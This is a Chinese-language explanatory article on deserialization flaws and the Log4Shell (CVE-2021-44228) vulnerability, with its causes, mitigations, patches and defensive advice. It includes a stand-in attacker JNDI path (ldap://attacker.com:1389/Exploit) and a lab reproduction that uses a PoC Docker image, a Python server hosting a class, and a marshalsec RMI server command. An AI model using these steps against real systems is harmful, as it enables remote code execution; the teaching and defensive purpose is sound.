作者简介:虽然Log4j漏洞已经出来快2年了,但是最近的现网扫描还存在。所以今天就想重新介绍一下这个反序列化漏洞和Log4j漏洞。
虽然Log4j漏洞已经出来快2年了,但是最近的现网扫描还存在。所以今天就想重新介绍一下这个反序列化漏洞和Log4j漏洞。
反序列化漏洞
反序列化漏洞(Deserialization Vulnerability)是一种安全漏洞,通常出现在应用程序中,当应用程序将外部输入(如用户提交的数据)反序列化为对象或数据结构时,由于缺乏充分的输入验证和安全措施,导致攻击者可以利用恶意数据来执行未经授权的代码或攻击。
这种漏洞很危险,因为攻击者可以通过构造特殊的序列化数据来执行任意代码,从而可能导致远程代码执行(Remote Code Execution, RCE)攻击,入侵系统、窃取数据或在系统上执行其他恶意操作。
Log4j漏洞就是其中的一个代表。
反序列漏洞的触发过程如下图:
反序列化漏洞会带来如下的危害:
远程代码执行:攻击者可以构造恶意的序列化数据,使得应用程序在反序列化时执行恶意代码。这使得攻击者能够在目标系统上执行任意操作,例如控制整个服务器、窃取敏感数据、篡改系统配置等。
未经授权访问:反序列化漏洞可能使攻击者以其他用户的身份执行操作,从而绕过认证和授权机制,访问未授权的资源或功能。
敏感数据泄漏:攻击者可以通过利用反序列化漏洞,窃取系统中存储的敏感信息,如用户凭据、数据库连接信息、API密钥等。
数据篡改:攻击者可能修改序列化数据中的字段值,导致系统行为异常或产生错误的结果。
拒绝服务:攻击者可能构造特定的序列化数据,导致应用程序在反序列化过程中出现错误或崩溃,从而导致服务不可用。
Log4j漏洞带来的是远程代码执行的危害。实际上,如果黑客可以远程代码执行,意味着黑客可以完成控制你的系统。
Log4j漏洞
Log4j漏洞是指影响Apache Log4j项目的一个安全漏洞,该项目是Java中广泛使用的日志库,用于记录应用程序的日志信息。该漏洞的具体名称为CVE-2021-44228,也被称为Log4Shell。
Log4j漏洞是一个严重的远程代码执行漏洞,攻击者可以通过恶意的日志请求触发该漏洞,然后在受影响的应用程序中执行任意代码。这意味着攻击者可以完全控制目标系统,从而导致数据泄露、系统崩溃、远程命令执行等严重后果。
漏洞的根本原因是Apache Log4j中的一个特性,即允许通过配置字符串(包含JNDI(Java Naming and Directory Interface)注入)来实现日志消息的动态格式化。然而,这也导致了一个安全漏洞,攻击者可以构造恶意的日志请求,将JNDI注入恶意的类路径或命令来执行任意代码。
Log4j漏洞的技术细节如下:
漏洞原因: Log4j中的漏洞是由于其在处理日志消息格式时允许通过配置字符串来实现动态格式化。这个特性允许开发人员在日志消息中引用其他Java对象,如系统属性、环境变量等。然而,这也导致了安全漏洞,攻击者可以构造特定的字符串,将JNDI注入到日志消息中,从而触发漏洞。
JNDI注入: Java Naming and Directory Interface (JNDI) 是Java中用于访问命名和目录服务的API。攻击者可以通过在日志消息中注入JNDI路径,使得在处理日志消息时会访问恶意的JNDI资源。JNDI注入可以用于执行任意的Java代码,包括远程代码执行。
恶意的Log4j配置: 攻击者可以构造特定的Log4j配置,其中包含恶意的JNDI路径,例如 ldap://attacker.com:1389/Exploit。当应用程序加载并初始化Log4j配置时,它会解析这个JNDI路径,并尝试访问远程的LDAP服务(由攻击者控制的服务器),从而导致恶意代码的执行。
漏洞触发:攻击者可以通过不同的方式触发漏洞,例如通过Web请求、RMI(Remote Method Invocation)调用等。其中,最常见的方式是通过Web请求,攻击者在HTTP请求的Header、Cookie、User-Agent等字段中添加恶意的JNDI路径来触发漏洞。
影响范围: 由于Log4j是Java中广泛使用的日志库,这个漏洞影响范围非常广泛。任何使用了Log4j的Java应用程序都有可能受到这个漏洞的影响。
Log4j的攻击路径如下图:
Log4j漏洞的影响面非常广泛,可以认为主流的Java程序或多或少都会使用Log4j,包括:
Java Web应用程序:包括常见的Java Web框架(如Spring、Spring Boot、Java Servlet等)中使用的应用程序。
服务器:许多服务器应用程序使用了Log4j来进行日志记录。
网络设备:一些网络设备、路由器、防火墙等可能使用了Java和Log4j。
IoT设备:一些嵌入式设备和物联网设备可能使用了Java和Log4j。
Log4j漏洞非常严重,官方给出了一系列的缓解措施:
添加 jvm 启动参数 -DLog4j2.formatMsgNoLookups=true。
在应用程序的 classpath 下添加 Log4j2.component.properties 配置文件,文件内容:Log4j2.formatMsgNoLookups=True。
设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true。
建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本。
限制受影响应用对外访问互联网。
Log4j官方也给出了官方的补丁:
Log4j 2.15.0:这个版本是首个修复了CVE-2021-44228漏洞的版本。在这个版本中,官方移除了JNDI Lookups功能,有效地解决了漏洞。
Log4j 2.17.0:这个版本在2.15.0的基础上进一步完善了安全性和稳定性。如果可能,推荐直接升级到最新的版本。
对于使用Log4j 1.x版本的用户,需要注意的是,Log4j 1.x目前已经不再维护。虽然官方没有发布专门用于修复CVE-2021-44228漏洞的Log4j 1.x版本,但推荐尽快升级到Log4j 2.x版本来获得更好的安全性和性能。
Log4j的漏洞可以搭建环境进行复现,如下图:
1. 创建还有Log4j漏洞的网站,可以使用Docker来实现,可以下载Log4j-shell-poc这个GitHub仓库,并且运行docker run -p 8090:8080 Log4j-shell-poc命令。
2. 创建一个Java类TouchFile来进行测试,该Java类会调用本地命令创建一个目录。
使用javac命令编译出class文件后,使用python的httpserver模块将这个类放到网站上供测试网站调用,如python3 -m http.server 2222。
3. 借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP:2222/#TouchFile" 9999
4. 访问测试网站http://IP:8090并在用户名处输入Payload,你会惊奇地发现在测试网站的Docker容器里面,已经创建了一个目录。
另外,我们还可以通过Log4j的代码进行调试,可以使用Log4jCore的测试用例进行测试。通过调试我可以看到Log4j漏洞的具体位置。
在src/main/java/org/apache/Logging/Log4j/core/lookup/Interpolator.java的文件中的第221行,Log4j使用了lookup函数去查询了用户的本应作为日志的输入。当这个日志是符合jndi标准的远程调用,如RMI,就会发生RMI的远程调用,从而访问预设的TouchFile的类并且执行了TouchFile这个类里面预设的操作。这个就是Log4j漏洞产生的根本原因。官方给出的缓解措施实际上就是禁止了这个操作。后续的官方补丁也是去掉了这个操作。
Log4j漏洞之所以在低版本的JDK中可以利用,主要是因为这些版本中默认支持解析ldap/rmi协议,攻击者可以通过传递恶意内容的ldap协议到后端,使得Log4j2加载并执行恶意Class文件。而在高版本的JDK中,默认已经禁用了RMI Reference、LDAP Reference的远程加载,因此可以起到直接的缓解作用。但需要注意的是,高版本的JDK环境下,JNDI注入仍然存在一定的RCE风险。另外,Log4j漏洞本身除了RCE,还存在着巨大的攻击面,比如SSRF、敏感信息泄露等,威胁非常大,不要企图仅仅通过升级JDK版本来修复漏洞,建议还是老老实实升级。
总结
反序列化漏洞的危害是巨大的,我们需要及时预防,以下是一些建议:
最简单的防范方法是尽量避免对不受信任的数据进行反序列化操作。如果可能的话,可以选择使用其他安全的数据传输方式,如使用JSON或XML,来代替不安全的序列化格式。
对于必须进行反序列化的场景,务必对输入数据进行严格的验证和过滤。确保只有合法和预期的数据能够被反序列化。可以使用白名单和数据结构验证来过滤输入,拒绝不符合预期的数据。
在可能的情况下,使用安全的序列化和反序列化库。例如,Java中可以使用JSON或XML库代替ObjectInputStream,PHP中可以使用json_encode()和json_decode()代替unserialize()等。
限制能够被反序列化的对象图的深度和复杂度。这样可以减少攻击者利用复杂对象图构造攻击载荷的可能性。
将反序列化的操作隔离到安全的环境中,例如使用沙箱技术,以便处理不受信任的数据。这样即使发生漏洞,攻击者的影响也会被限制在安全环境内。
对序列化数据添加签名或完整性校验,以确保数据没有被篡改。这样可以防止攻击者在序列化数据中插入恶意代码。
及时更新使用的框架、库和组件,以确保应用程序使用最新版本的软件,可能包含安全修复。同时,关注官方发布的安全补丁,及时应用以修复已知的漏洞。
培训开发人员和团队,推广安全开发实践。重视代码审查和安全测试,特别关注涉及反序列化的代码段,以及其他可能导致反序列化漏洞的操作。